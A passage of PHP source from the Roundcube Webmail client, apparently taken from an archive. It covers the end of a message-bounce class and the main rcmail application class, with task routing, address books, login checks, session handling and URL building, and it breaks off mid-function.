                $value = $headers[$key];
                $this->build_params['bounce_headers']['Resent-'.$key] = $value;
            }

            if ($value) {
                $result[] = "$name: $value";
            }
        }

        $result = implode($this->build_params['eol'], $result);

        if (strlen($this->orig_head)) {
            $result .= $this->build_params['eol'] . $this->orig_head;
        }

        return $result;
    }

    /**
     * Save the message body to a file (if delay_file_io=true)
     */
    public function saveMessageBody($file, $params = null)
    {
        $this->init_message();

        // this will be called only once, so let just move the file
        rename($this->orig_body, $file);

        $this->orig_head = null;
    }

    /**
     * Initialize the internal message. Fetches the message from the storage.
     */
    protected function init_message()
    {
        if ($this->orig_head !== null) {
            return;
        }

        $rcmail   = rcmail::get_instance();
        $storage  = $rcmail->get_storage();
        $message  = $this->build_params['bounce_message'];
        $path     = rcube_utils::temp_filename('bounce');

        // We'll write the body to the file and the headers to a variable
        if ($fp = fopen($path, 'w')) {
            stream_filter_register('bounce_source', 'rcmail_bounce_stream_filter');
            stream_filter_append($fp, 'bounce_source');

            // message part
            if ($message->context) {
                $message->get_part_body($message->context, false, 0, $fp);
            }
            // complete message
            else {
                $storage->set_folder($message->folder);
                $storage->get_raw_body($message->uid, $fp);
            }

            fclose($fp);

            $this->orig_head = rcmail_bounce_stream_filter::$headers;
            $this->orig_body = $path;
        }
    }
}

/**
 * Stream filter to remove message headers from the streamed
 * message source (and store them in a variable)
 *
 * @package Webmail
 */
class rcmail_bounce_stream_filter extends php_user_filter
{
    public static $headers;

    protected $in_body = false;

    public function onCreate(): bool
    {
        self::$headers = '';

        return true;
    }

    #[ReturnTypeWillChange]
    public function filter($in, $out, &$consumed, $closing)
    {
        while ($bucket = stream_bucket_make_writeable($in)) {
            if (!$this->in_body) {
                self::$headers .= $bucket->data;
                if (($pos = strpos(self::$headers, "\r\n\r\n")) === false) {
                    continue;
                }

                $bucket->data    = substr(self::$headers, $pos + 4);
                $bucket->datalen = strlen($bucket->data);

                self::$headers = substr(self::$headers, 0, $pos);
                $this->in_body = true;
            }

            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }

        return PSFS_PASS_ON;
    }
}
PK
h�\`�۫�program/include/rcmail.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Application class providing core functions and holding              |
 |   instances of all 'global' objects like db- and imap-connections     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Application class of Roundcube Webmail
 * implemented as singleton
 *
 * @package Webmail
 */
class rcmail extends rcube
{
    /**
     * Main tasks.
     *
     * @var array
     */
    public static $main_tasks = ['mail','settings','addressbook','login','logout','utils','oauth','dummy'];

    /**
     * Current task.
     *
     * @var string
     */
    public $task;

    /**
     * Current action.
     *
     * @var string
     */
    public $action    = '';

    public $comm_path = './';
    public $filename  = '';
    public $default_skin;
    public $login_error;
    public $oauth;

    /** @var ?string Temporary user email (set on user creation only) */
    public $user_email;

    /** @var ?string Temporary user password (set on user creation only) */
    public $password;

    private $address_books = [];
    private $action_map    = [];
    private $action_args   = [];

    const ERROR_STORAGE          = -2;
    const ERROR_INVALID_REQUEST  = 1;
    const ERROR_INVALID_HOST     = 2;
    const ERROR_COOKIES_DISABLED = 3;
    const ERROR_RATE_LIMIT       = 4;


    /**
     * This implements the 'singleton' design pattern
     *
     * @param int    $mode Ignored rcube::get_instance() argument
     * @param string $env  Environment name to run (e.g. live, dev, test)
     *
     * @return rcmail The one and only instance
     */
    static function get_instance($mode = 0, $env = '')
    {
        if (!self::$instance || !is_a(self::$instance, 'rcmail')) {
            // In cli-server mode env=test
            if ($env === null && php_sapi_name() == 'cli-server') {
                $env = 'test';
            }

            self::$instance = new rcmail($env);
            // init AFTER object was linked with self::$instance
            self::$instance->startup();
        }

        return self::$instance;
    }

    /**
     * Initial startup function
     * to register session, create database and imap connections
     */
    protected function startup()
    {
        $this->init(self::INIT_WITH_DB | self::INIT_WITH_PLUGINS);

        // set filename if not index.php
        if (($basename = basename($_SERVER['SCRIPT_FILENAME'])) && $basename != 'index.php') {
            $this->filename = $basename;
        }

        // load all configured plugins
        $plugins          = (array) $this->config->get('plugins', []);
        $required_plugins = ['filesystem_attachments', 'jqueryui'];
        $this->plugins->load_plugins($plugins, $required_plugins);

        // start session
        $this->session_init();

        // Remember default skin, before it's replaced by user prefs
        $this->default_skin = $this->config->get('skin');

        // create user object
        $this->set_user(new rcube_user($_SESSION['user_id'] ?? null));

        // set task and action properties
        $this->set_task(rcube_utils::get_input_string('_task', rcube_utils::INPUT_GPC));
        $this->action = asciiwords(rcube_utils::get_input_string('_action', rcube_utils::INPUT_GPC));

        // reset some session parameters when changing task
        if ($this->task != 'utils') {
            // we reset list page when switching to another task
            // but only to the main task interface - empty action (#1489076, #1490116)
            // this will prevent from unintentional page reset on cross-task requests
            if ($this->session && empty($this->action)
                && (empty($_SESSION['task']) || $_SESSION['task'] != $this->task)
            ) {
                $this->session->remove('page');

                // set current task to session
                $_SESSION['task'] = $this->task;
            }
        }

        // init output class
        if (php_sapi_name() == 'cli') {
            $this->output = new rcmail_output_cli();
        }
        else if (!empty($_REQUEST['_remote'])) {
            $this->json_init();
        }
        else if (!empty($_SERVER['REMOTE_ADDR'])) {
            $this->load_gui(!empty($_REQUEST['_framed']));
        }

        // load oauth manager
        $this->oauth = rcmail_oauth::get_instance();

        // run init method on all the plugins
        $this->plugins->init($this, $this->task);
    }

    /**
     * Setter for application task
     *
     * @param string $task Task to set
     */
    public function set_task($task)
    {
        if (php_sapi_name() == 'cli') {
            $task = 'cli';
        }
        else if (!$this->user || !$this->user->ID) {
            $task = 'login';
        }
        else {
            $task = asciiwords($task, true) ?: 'mail';
        }

        // Re-initialize plugins if task is changing
        if (!empty($this->task) && $this->task != $task) {
            $this->plugins->init($this, $task);
        }

        $this->task      = $task;
        $this->comm_path = $this->url(['task' => $this->task]);

        if (!empty($_REQUEST['_framed'])) {
            $this->comm_path .= '&_framed=1';
        }

        if ($this->output) {
            $this->output->set_env('task', $this->task);
            $this->output->set_env('comm_path', $this->comm_path);
        }
    }

    /**
     * Setter for system user object
     *
     * @param rcube_user $user Current user instance
     */
    public function set_user($user)
    {
        parent::set_user($user);

        $session_lang = $_SESSION['language'] ?? null;
        $lang = $this->language_prop($this->config->get('language', $session_lang));
        $_SESSION['language'] = $this->user->language = $lang;

        // set localization
        setlocale(LC_ALL, $lang . '.utf8', $lang . '.UTF-8', 'en_US.utf8', 'en_US.UTF-8');

        // Workaround for http://bugs.php.net/bug.php?id=18556
        // Also strtoupper/strtolower and other methods are locale-aware
        // for these locales it is problematic (#1490519)
        if (in_array($lang, ['tr_TR', 'ku', 'az_AZ'])) {
            setlocale(LC_CTYPE, 'en_US.utf8', 'en_US.UTF-8', 'C');
        }
    }

    /**
     * Handle the request. All request pre-checks are NOT done here.
     */
    public function action_handler()
    {
        // we're ready, user is authenticated and the request is safe
        $plugin = $this->plugins->exec_hook('ready', ['task' => $this->task, 'action' => $this->action]);

        $this->set_task($plugin['task']);
        $this->action = $plugin['action'];

        // handle special actions
        if ($this->action == 'keep-alive') {
            $this->output->reset();
            $this->plugins->exec_hook('keep_alive', []);
            $this->output->send();
        }

        $task       = $this->action == 'save-pref' ? 'utils' : $this->task;
        $task       = $task == 'addressbook' ? 'contacts' : $task;
        $task_class = "rcmail_action_{$task}_index";

        // execute the action index handler
        if (class_exists($task_class)) {
            $task_handler = new $task_class;
            $task_handler->run();
        }

        // allow 5 "redirects" to another action
        $redirects = 0;
        while ($redirects < 5) {
            // execute a plugin action
            if (preg_match('/^plugin\./', $this->action)) {
                $this->plugins->exec_action($this->action);
                break;
            }

            // execute action registered to a plugin task
            if ($this->plugins->is_plugin_task($task)) {
                if (!$this->action) $this->action = 'index';
                $this->plugins->exec_action("{$task}.{$this->action}");
                break;
            }

            $action = !empty($this->action) ? $this->action : 'index';

            // handle deprecated action names
            if (!empty($task_handler) && !empty($task_handler::$aliases[$action])) {
                $action = $task_handler::$aliases[$action];
            }

            $action = str_replace('-', '_', $action);
            $class  = "rcmail_action_{$task}_{$action}";

            // Run the action (except the index)
            if ($class != $task_class && class_exists($class)) {
                $handler = new $class;
                if (!$handler->checks()) {
                    break;
                }
                $handler->run($this->action_args);
                $redirects++;
            }
            else {
                break;
            }
        }

        if ($this->action == 'refresh') {
            $last = intval(rcube_utils::get_input_value('_last', rcube_utils::INPUT_GPC));
            $this->plugins->exec_hook('refresh', ['last' => $last]);
        }

        // parse main template (default)
        $this->output->send($this->task);

        // if we arrive here, something went wrong
        $error = ['code' => 404, 'line' => __LINE__, 'file' => __FILE__, 'message' => "Invalid request"];
        rcmail::raise_error($error, true, true);
    }

    /**
     * Return instance of the internal address book class
     *
     * @param string $id        Address book identifier. It accepts also special values:
     *                          - rcube_addressbook::TYPE_CONTACT (or 'sql') for the SQL addressbook
     *                          - rcube_addressbook::TYPE_DEFAULT for the default addressbook
     * @param bool   $writeable True if the address book needs to be writeable
     * @param bool   $fallback  Fallback to the first existing source, if the configured default wasn't found
     *
     * @return rcube_contacts|null Address book object
     */
    public function get_address_book($id, $writeable = false, $fallback = true)
    {
        $contacts    = null;
        $ldap_config = (array) $this->config->get('ldap_public');
        $default     = false;

        $id = (string) $id;

        // 'sql' is the alias for '0' used by autocomplete
        if ($id == 'sql') {
            $id = (string) rcube_addressbook::TYPE_CONTACT;
        }
        else if ($id === strval(rcube_addressbook::TYPE_DEFAULT) || $id === '-1') { // -1 for BC
            $id = $this->config->get('default_addressbook');
            $default = true;
        }

        // use existing instance
        if (isset($this->address_books[$id]) && ($this->address_books[$id] instanceof rcube_addressbook)) {
            $contacts = $this->address_books[$id];
        }
        else if ($id && !empty($ldap_config[$id])) {
            $domain   = $this->config->mail_domain($_SESSION['storage_host']);
            $contacts = new rcube_ldap($ldap_config[$id], $this->config->get('ldap_debug'), $domain);
        }
        else if ($id === (string) rcube_addressbook::TYPE_CONTACT) {
            $contacts = new rcube_contacts($this->db, $this->get_user_id());
        }
        else if ($id === (string) rcube_addressbook::TYPE_RECIPIENT || $id === (string) rcube_addressbook::TYPE_TRUSTED_SENDER) {
            $contacts = new rcube_addresses($this->db, $this->get_user_id(), (int) $id);
        }
        else {
            $plugin = $this->plugins->exec_hook('addressbook_get', ['id' => $id, 'writeable' => $writeable]);

            // plugin returned instance of a rcube_addressbook
            if (!empty($plugin['instance']) && $plugin['instance'] instanceof rcube_addressbook) {
                $contacts = $plugin['instance'];
            }
        }

        // when user requested default writeable addressbook
        // we need to check if default is writeable, if not we
        // will return first writeable book (if any exist)
        if ($contacts && $default && $contacts->readonly && $writeable) {
            $contacts = null;
        }

        // Get first addressbook from the list if configured default doesn't exist
        // This can happen when user deleted the addressbook (e.g. Kolab folder)
        if ($fallback && !$contacts && (!$id || $default)) {
            $source = $this->get_address_sources($writeable, !$default);
            $source = reset($source);

            if (!empty($source)) {
                // Note: No fallback here to prevent from an infinite loop
                $contacts = $this->get_address_book($source['id'], false, false);
                if ($contacts) {
                    $id = $source['id'];
                }
            }
        }

        if (!$contacts) {
            // there's no default, just return
            if ($default) {
                return null;
            }

            self::raise_error([
                    'code'    => 700,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Addressbook source ($id) not found!"
                ],
                true, true);
        }

        // add to the 'books' array for shutdown function
        $this->address_books[$id] = $contacts;

        if ($writeable && $contacts->readonly) {
            return null;
        }

        // set configured sort order
        if ($sort_col = $this->config->get('addressbook_sort_col')) {
            $contacts->set_sort_order($sort_col);
        }

        return $contacts;
    }

    /**
     * Return identifier of the address book object
     *
     * @param rcube_addressbook $object Addressbook source object
     *
     * @return string|null Source identifier
     */
    public function get_address_book_id($object)
    {
        foreach ($this->address_books as $index => $book) {
            if ($book === $object) {
                return $index;
            }
        }
    }

    /**
     * Return address books list
     *
     * @param bool $writeable   True if the address book needs to be writeable
     * @param bool $skip_hidden True if the address book needs to be not hidden
     *
     * @return array Address books array
     */
    public function get_address_sources($writeable = false, $skip_hidden = false)
    {
        $abook_type   = strtolower((string) $this->config->get('address_book_type', 'sql'));
        $ldap_config  = (array) $this->config->get('ldap_public');
        $list         = [];

        // SQL-based (built-in) address book
        if ($abook_type === 'sql') {
            $list[rcube_addressbook::TYPE_CONTACT] = [
                'id'       => (string) rcube_addressbook::TYPE_CONTACT,
                'name'     => $this->gettext('personaladrbook'),
                'groups'   => true,
                'readonly' => false,
                'undelete' => $this->config->get('undo_timeout') > 0,
            ];
        }

        // LDAP address book(s)
        if (!empty($ldap_config)) {
            foreach ($ldap_config as $id => $prop) {
                // handle misconfiguration
                if (empty($prop) || !is_array($prop)) {
                    continue;
                }

                $list[$id] = [
                    'id'       => $id,
                    'name'     => html::quote($prop['name']),
                    'groups'   => !empty($prop['groups']) || !empty($prop['group_filters']),
                    'readonly' => empty($prop['writable']),
                    'hidden'   => !empty($prop['hidden']),
                ];
            }
        }

        $collected_recipients = $this->config->get('collected_recipients');
        $collected_senders    = $this->config->get('collected_senders');

        if ($collected_recipients === (string) rcube_addressbook::TYPE_RECIPIENT) {
            $list[rcube_addressbook::TYPE_RECIPIENT] = [
                'id'       => (string) rcube_addressbook::TYPE_RECIPIENT,
                'name'     => $this->gettext('collectedrecipients'),
                'groups'   => false,
                'readonly' => true,
                'undelete' => false,
                'deletable' => true,
            ];
        }

        if ($collected_senders === (string) rcube_addressbook::TYPE_TRUSTED_SENDER) {
            $list[rcube_addressbook::TYPE_TRUSTED_SENDER] = [
                'id'       => (string) rcube_addressbook::TYPE_TRUSTED_SENDER,
                'name'     => $this->gettext('trustedsenders'),
                'groups'   => false,
                'readonly' => true,
                'undelete' => false,
                'deletable' => true,
            ];
        }

        // Plugins can also add address books, or re-order the list
        $plugin = $this->plugins->exec_hook('addressbooks_list', ['sources' => $list]);
        $list   = $plugin['sources'];

        foreach ($list as $idx => $item) {
            // remove from list if not writeable as requested
            if ($writeable && $item['readonly']) {
                unset($list[$idx]);
            }
            // remove from list if hidden as requested
            else if ($skip_hidden && !empty($item['hidden'])) {
                unset($list[$idx]);
            }
        }

        return $list;
    }

    /**
     * Getter for compose responses.
     *
     * @param bool $user_only True to exclude additional static responses
     *
     * @return array List of the current user's stored responses
     */
    public function get_compose_responses($user_only = false)
    {
        $responses = $this->user->list_responses();

        if (!$user_only) {
            $additional = [];
            foreach ($this->config->get('compose_responses_static', []) as $response) {
                $additional[$response['name']] = [
                    'id'      => 'static-' . substr(md5($response['name']), 0, 16),
                    'name'    => $response['name'],
                    'static'  => true,
                ];
            }

            if (!empty($additional)) {
                ksort($additional, SORT_LOCALE_STRING);
                $responses = array_merge(array_values($additional), $responses);
            }
        }

        $hook = $this->plugins->exec_hook('get_compose_responses', [
                'list'      => $responses,
                'user_only' => $user_only,
        ]);

        return $hook['list'];
    }

    /**
     * Getter for compose response data.
     *
     * @param int|string $id Response ID
     *
     * @return array|null Response data, Null if not found
     */
    public function get_compose_response($id)
    {
        $record = null;

        // Static response
        if (strpos((string) $id, 'static-') === 0) {
            foreach ($this->config->get('compose_responses_static', []) as $response) {
                $rid = 'static-' . substr(md5($response['name']), 0, 16);
                if ($id === $rid) {
                    $record = [
                        'id'      => $rid,
                        'name'    => $response['name'],
                        'data'    => !empty($response['html']) ? $response['html'] : $response['text'],
                        'is_html' => !empty($response['html']),
                        'static'  => true,
                    ];
                    break;
                }
            }
        }

        // User owned response
        if (empty($record) && is_numeric($id)) {
            $record = $this->user->get_response($id);
        }

        // Plugin-provided response or other modifications
        $hook = $this->plugins->exec_hook('get_compose_response', [
                'id'     => $id,
                'record' => $record,
        ]);

        return $hook['record'];
    }

    /**
     * Init output object for GUI and add common scripts.
     * This will instantiate a rcmail_output_html object and set
     * environment vars according to the current session and configuration
     *
     * @param bool $framed True if this request is loaded in a (i)frame
     *
     * @return rcube_output Reference to HTML output object
     */
    public function load_gui($framed = false)
    {
        // init output page
        if (!($this->output instanceof rcmail_output_html)) {
            $this->output = new rcmail_output_html($this->task, $framed);
        }

        // set refresh interval
        $this->output->set_env('refresh_interval', $this->config->get('refresh_interval', 0));
        $this->output->set_env('session_lifetime', $this->config->get('session_lifetime', 0) * 60);

        if ($framed) {
            $this->comm_path .= '&_framed=1';
            $this->output->set_env('framed', true);
        }

        $this->output->set_env('task', $this->task);
        $this->output->set_env('action', $this->action);
        $this->output->set_env('comm_path', $this->comm_path);
        $this->output->set_charset(RCUBE_CHARSET);

        if ($this->user && $this->user->ID) {
            $this->output->set_env('user_id', $this->user->get_hash());
        }

        // set compose mode for all tasks (message compose step can be triggered from everywhere)
        $this->output->set_env('compose_extwin', $this->config->get('compose_extwin',false));

        // add some basic labels to client
        $this->output->add_label('loading', 'servererror', 'connerror', 'requesttimedout',
            'refreshing', 'windowopenerror', 'uploadingmany', 'uploading', 'close', 'save', 'cancel',
            'alerttitle', 'confirmationtitle', 'delete', 'continue', 'ok');

        return $this->output;
    }

    /**
     * Create an output object for JSON responses
     *
     * @return rcube_output Reference to JSON output object
     */
    public function json_init()
    {
        if (!($this->output instanceof rcmail_output_json)) {
            $this->output = new rcmail_output_json();
        }

        return $this->output;
    }

    /**
     * Create session object and start the session.
     */
    public function session_init()
    {
        parent::session_init();

        // set initial session vars
        if (empty($_SESSION['user_id'])) {
            $_SESSION['temp'] = true;
        }
    }

    /**
     * Perform login to the mail server and to the webmail service.
     * This will also create a new user entry if auto_create_user is configured.
     *
     * @param string $username    Mail storage (IMAP) user name
     * @param string $password    Mail storage (IMAP) password
     * @param string $host        Mail storage (IMAP) host
     * @param bool   $cookiecheck Enables cookie check
     *
     * @return bool True on success, False on failure
     */
    function login($username, $password, $host = null, $cookiecheck = false)
    {
        $this->login_error = null;

        if (empty($username)) {
            return false;
        }

        if ($cookiecheck && empty($_COOKIE)) {
            $this->login_error = self::ERROR_COOKIES_DISABLED;
            return false;
        }

        $imap_host       = $this->config->get('imap_host', 'localhost:143');
        $username_domain = $this->config->get('username_domain');
        $login_lc        = $this->config->get('login_lc', 2);

        // check username input validity
        if (!$this->login_input_checks($username, $password)) {
            $this->login_error = self::ERROR_INVALID_REQUEST;
            return false;
        }

        // host is validated in rcmail::autoselect_host(), so here
        // we'll only handle unset host (if possible)
        if (!$host && !empty($imap_host)) {
            if (is_array($imap_host)) {
                $key  = key($imap_host);
                $host = is_numeric($key) ? $imap_host[$key] : $key;
            }
            else {
                $host = $imap_host;
            }
        }

        $host = rcube_utils::parse_host($host);

        if (!$host) {
            $this->login_error = self::ERROR_INVALID_HOST;
            return false;
        }

        // parse $host URL
        list($host, $scheme, $port) = rcube_utils::parse_host_uri($host, 143, 993);

        $ssl = in_array($scheme, ['ssl', 'imaps', 'tls']) ? $scheme : false;

        // Check if we need to add/force domain to username
        if (!empty($username_domain)) {
            $domain = '';
            if (is_array($username_domain)) {
                if (!empty($username_domain[$host])) {
                    $domain = $username_domain[$host];
                }
            }
            else {
                $domain = $username_domain;
            }

            if ($domain = rcube_utils::parse_host((string) $domain, $host)) {
                $pos = strpos($username, '@');

                // force configured domains
                if ($pos !== false && $this->config->get('username_domain_forced')) {
                    $username = substr($username, 0, $pos) . '@' . $domain;
                }
                // just add domain if not specified
                else if ($pos === false) {
                    $username .= '@' . $domain;
                }
            }
        }

        // Convert username to lowercase. If storage backend
        // is case-insensitive we need to store always the same username (#1487113)
        if ($login_lc) {
            if ($login_lc == 2 || $login_lc === true) {
                $username = mb_strtolower($username);
            }
            else if (strpos($username, '@')) {
                // lowercase domain name
                list($local, $domain) = rcube_utils::explode('@', $username);
                $username = $local . '@' . mb_strtolower($domain);
            }
        }

        // try to resolve email address from virtuser table
        if (strpos($username, '@') && ($virtuser = rcube_user::email2user($username))) {
            $username = $virtuser;
        }

        // Here we need IDNA ASCII
        // Only rcube_contacts class is using domain names in Unicode
        $host = rcube_utils::idn_to_ascii($host);
        if (strpos($username, '@')) {
            $username = rcube_utils::idn_to_ascii($username);
        }

        // user already registered -> overwrite username
        if ($user = rcube_user::query($username, $host)) {
            $username = $user->data['username'];

            // Brute-force prevention
            if ($user->is_locked()) {
                $this->login_error = self::ERROR_RATE_LIMIT;
                return false;
            }
        }

        $storage = $this->get_storage();

        // try to log in
        if (!$storage->connect($host, $username, $password, $port, $ssl)) {
            if ($user) {
                $user->failed_login();
            }

            // Wait a second to slow down brute-force attacks (#1490549)
            sleep(1);
            return false;
        }

        // user already registered -> update user's record
        if (is_object($user)) {
            // update last login timestamp
            $user->touch();
        }
        // create new system user
        else if ($this->config->get('auto_create_user')) {
            // Temporarily set user email and password, so plugins can use it
            // this way until we set it in session later. This is required e.g.
            // by the user-specific LDAP operations from new_user_identity plugin.
            $domain = $this->config->mail_domain($host);
            $this->user_email = strpos($username, '@') ? $username : sprintf('%s@%s', $username, $domain);
            $this->password   = $password;

            $user = rcube_user::create($username, $host);

            $this->user_email = null;
            $this->password   = null;

            if (!$user) {
                self::raise_error([
                        'code'    => 620,
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                        'message' => "Failed to create a user record. Maybe aborted by a plugin?"
                    ],
                    true, false
                );
            }
        }
        else {
            self::raise_error([
                    'code'    => 621,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Access denied for new user $username. 'auto_create_user' is disabled"
                ],
                true, false
            );
        }

        // login succeeded
        if (is_object($user) && $user->ID) {
            // Configure environment
            $this->set_user($user);
            $this->set_storage_prop();

            // set session vars
            $_SESSION['user_id']      = $user->ID;
            $_SESSION['username']     = $user->data['username'];
            $_SESSION['storage_host'] = $host;
            $_SESSION['storage_port'] = $port;
            $_SESSION['storage_ssl']  = $ssl;
            $_SESSION['password']     = $this->encrypt($password);
            $_SESSION['login_time']   = time();

            $timezone = rcube_utils::get_input_string('_timezone', rcube_utils::INPUT_GPC);
            if ($timezone && $timezone != '_default_') {
                $_SESSION['timezone'] = $timezone;
            }

            // fix some old settings according to namespace prefix
            $this->fix_namespace_settings($user);

            // set/create special folders
            $this->set_special_folders();

            // clear all mailboxes related cache(s)
            $storage->clear_cache('mailboxes', true);

            return true;
        }

        return false;
    }

    /**
     * Returns error code of last login operation
     *
     * @return int|null Error code
     */
    public function login_error()
    {
        if ($this->login_error) {
            return $this->login_error;
        }

        if ($this->storage && $this->storage->get_error_code() < -1) {
            return self::ERROR_STORAGE;
        }
    }

    /**
     * Validate username input
     *
     * @param string $username User name
     * @param string $password User password
     *
     * @return bool True if valid, False otherwise
     */
    private function login_input_checks($username, $password)
    {
        $username_filter = $this->config->get('login_username_filter');
        $username_maxlen = $this->config->get('login_username_maxlen', 1024);
        $password_maxlen = $this->config->get('login_password_maxlen', 1024);

        if ($username_maxlen && strlen($username) > $username_maxlen) {
            return false;
        }

        if ($password_maxlen && strlen($password) > $password_maxlen) {
            return false;
        }

        if ($username_filter) {
            $is_email = strtolower($username_filter) == 'email';

            if ($is_email && !rcube_utils::check_email($username, false)) {
                return false;
            }

            if (!$is_email && !preg_match($username_filter, $username)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Detects session errors
     *
     * @return string|null Error label
     */
    public function session_error()
    {
        // log session failures
        $task = rcube_utils::get_input_string('_task', rcube_utils::INPUT_GPC);

        if ($task && !in_array($task, ['login', 'logout']) && !empty($_COOKIE[ini_get('session.name')])) {
            $sess_id = $_COOKIE[ini_get('session.name')];
            $log     = "Aborted session $sess_id; no valid session data found";
            $error   = 'sessionerror';

            // In rare cases web browser might end up with multiple cookies of the same name
            // but different params, e.g. domain (webmail.domain.tld and .webmail.domain.tld).
            // In such case browser will send both cookies in the request header
            // problem is that PHP session handler can use only one and if that one session
            // does not exist we'll end up here
            $cookie          = rcube_utils::request_header('Cookie');
            $cookie_sessid   = $this->config->get('session_name') ?: 'roundcube_sessid';
            $cookie_sessauth = $this->config->get('session_auth_name') ?: 'roundcube_sessauth';

            if (substr_count($cookie, $cookie_sessid.'=') > 1 || substr_count($cookie, $cookie_sessauth.'=') > 1) {
                $log .= ". Cookies mismatch";
                $error = 'cookiesmismatch';
            }

            $this->session->log($log);

            return $error;
        }
    }

    /**
     * Auto-select IMAP host based on the posted login information
     *
     * @return string Selected IMAP host
     */
    public function autoselect_host()
    {
        $default_host = $this->config->get('imap_host');
        $host         = null;

        if (is_array($default_host)) {
            $post_host = rcube_utils::get_input_string('_host', rcube_utils::INPUT_POST);
            $post_user = rcube_utils::get_input_string('_user', rcube_utils::INPUT_POST);

            list(, $domain) = rcube_utils::explode('@', $post_user);

            // direct match in default_host array
            if (!empty($default_host[$post_host]) || in_array($post_host, array_values($default_host))) {
                $host = $post_host;
            }
            // try to select host by mail domain
            else if (!empty($domain)) {
                foreach ($default_host as $storage_host => $mail_domains) {
                    if (is_array($mail_domains) && in_array_nocase($domain, $mail_domains)) {
                        $host = $storage_host;
                        break;
                    }
                    else if (stripos($storage_host, $domain) !== false || stripos(strval($mail_domains), $domain) !== false) {
                        $host = is_numeric($storage_host) ? $mail_domains : $storage_host;
                        break;
                    }
                }
            }

            // take the first entry if $host is still not set
            if (empty($host)) {
                $key  = key($default_host);
                $host = is_numeric($key) ? $default_host[$key] : $key;
            }
        }
        else if (empty($default_host)) {
            $host = rcube_utils::get_input_string('_host', rcube_utils::INPUT_POST);
        }
        else {
            $host = rcube_utils::parse_host($default_host);
        }

        return $host;
    }

    /**
     * Destroy session data and remove cookie
     */
    public function kill_session()
    {
        $this->plugins->exec_hook('session_destroy');

        $this->session->kill();
        $_SESSION = ['language' => $this->user->language, 'temp' => true];
        $this->user->reset();

        if ($this->config->get('skin') != $this->default_skin && method_exists($this->output, 'set_skin')) {
            $this->output->set_skin($this->default_skin);
        }
    }

    /**
     * Do server side actions on logout
     */
    public function logout_actions()
    {
        $storage        = $this->get_storage();
        $logout_expunge = $this->config->get('logout_expunge');
        $logout_purge   = $this->config->get('logout_purge');
        $trash_mbox     = $this->config->get('trash_mbox');

        if ($logout_purge && !empty($trash_mbox)) {
            $getMessages = function ($folder) use ($logout_purge, $storage) {
                if (is_numeric($logout_purge)) {
                    $now      = new DateTime('now');
                    $interval = new DateInterval('P' . intval($logout_purge) . 'D');

                    return $storage->search_once($folder, 'BEFORE ' . $now->sub($interval)->format('j-M-Y'));
                }

                return '*';
            };

            $storage->delete_message($getMessages($trash_mbox), $trash_mbox);

            // Trash subfolders
            $delimiter  = $storage->get_hierarchy_delimiter();
            $subfolders = array_reverse($storage->list_folders($trash_mbox . $delimiter, '*'));
            $last       = '';

            foreach ($subfolders as $folder) {
                $messages = $getMessages($folder);

                // Delete the folder if in all-messages mode, or all existing messages are to-be-removed,
                // but not if there's a subfolder
                if (
                    ($messages === '*' || $messages->count() == $storage->count($folder, 'ALL', false, false))
                    && strpos($last, $folder . $delimiter) !== 0
                ) {
                    $storage->delete_folder($folder);
                }
                else {
                    $storage->delete_message($messages, $folder);
                    $last = $folder;
                }
            }
        }

        if ($logout_expunge) {
            $storage->expunge_folder('INBOX');
        }

        // Try to save unsaved user preferences
        if (!empty($_SESSION['preferences'])) {
            $this->user->save_prefs(unserialize($_SESSION['preferences']));
        }
    }

    /**
     * Build a valid URL to this instance of Roundcube
     *
     * @param mixed $p        Either a string with the action or
     *                        url parameters as key-value pairs
     * @param bool  $absolute Build a URL absolute to document root
     * @param bool  $full     Create fully qualified URL including http(s):// and hostname
     * @param bool  $secure   Return absolute URL in secure location
     *
     * @return string Valid application URL
     */
    public function url($p, $absolute = false, $full = false, $secure = false)
    {
        if (!is_array($p)) {
            if (preg_match('#^https?://#', $p)) {
                return $p;
            }

            $p = ['_action' => $p];
        }

        $task = $this->task;

        if (!empty($p['_task'])) {
            $task = $p['_task'];
        }
        else if (!empty($p['task'])) {
            $task = $p['task'];
        }

        unset($p['task'], $p['_task']);

        $pre  = ['_task' => $task];
        $url  = $this->filename;
        $delm = '?';

        foreach (array_merge($pre, $p) as $key => $val) {
            if ($val !== '' && $val !== null) {
                $par  = $key[0] == '_' ? $key : ('_' . $key);
                $url .= $delm . urlencode($par) . '=' . urlencode($val);
                $delm = '&';
            }
        }

        $base_path = $this->get_request_path();

        if ($secure && ($token = $this->get_secure_url_token(true))) {
            // add token to the url
            $url = $token . '/' . $url;

            // remove old token from the path
            $base_path = rtrim($base_path, '/');
            $base_path = preg_replace('/\/[a-zA-Z0-9]{' . strlen($token) . '}$/', '', $base_path);

            // this need to be full url to make redirects work
            $absolute = true;
        }
        else if ($secure && ($token = $this->get_request_token())) {
            $url .= $delm . '_token=' . urlencode($token);
        }

        if ($absolute || $full) {
            // add base path to this Roundcube installation
            $prefix = $base_path ?: '/';

            // prepend protocol://hostname:port
            if ($full) {
                $prefix = rcube_utils::resolve_url($prefix);
            }

            $prefix = rtrim($prefix, '/') . '/';
        }
        else {
            $prefix = $base_path ?: './';
        }

        return $prefix . $url;
    }

    /**
     * Get the the request path
     */
    protected function get_request_path()
    {
        $path = $this->config->get('request_path');

        if ($path && isset($_SERVER[$path])) {
            // HTTP headers need to come from a trusted proxy host
            if (strpos($path, 'HTTP_') === 0 && !rcube_utils::check_proxy_whitelist_ip()) {
                return '/';
            }

            $path = $_SERVER[$path];
        }
        else if (empty($path)) {
            foreach (['REQUEST_URI', 'REDIRECT_SCRIPT_URL', 'SCRIPT_NAME'] as $name) {
                if (!empty($_SERVER[$name])) {
                    $path = $_SERVER[$name];
                    break;
                }
            }
        }
        else {
            return rtrim($path, '/') . '/';
        }

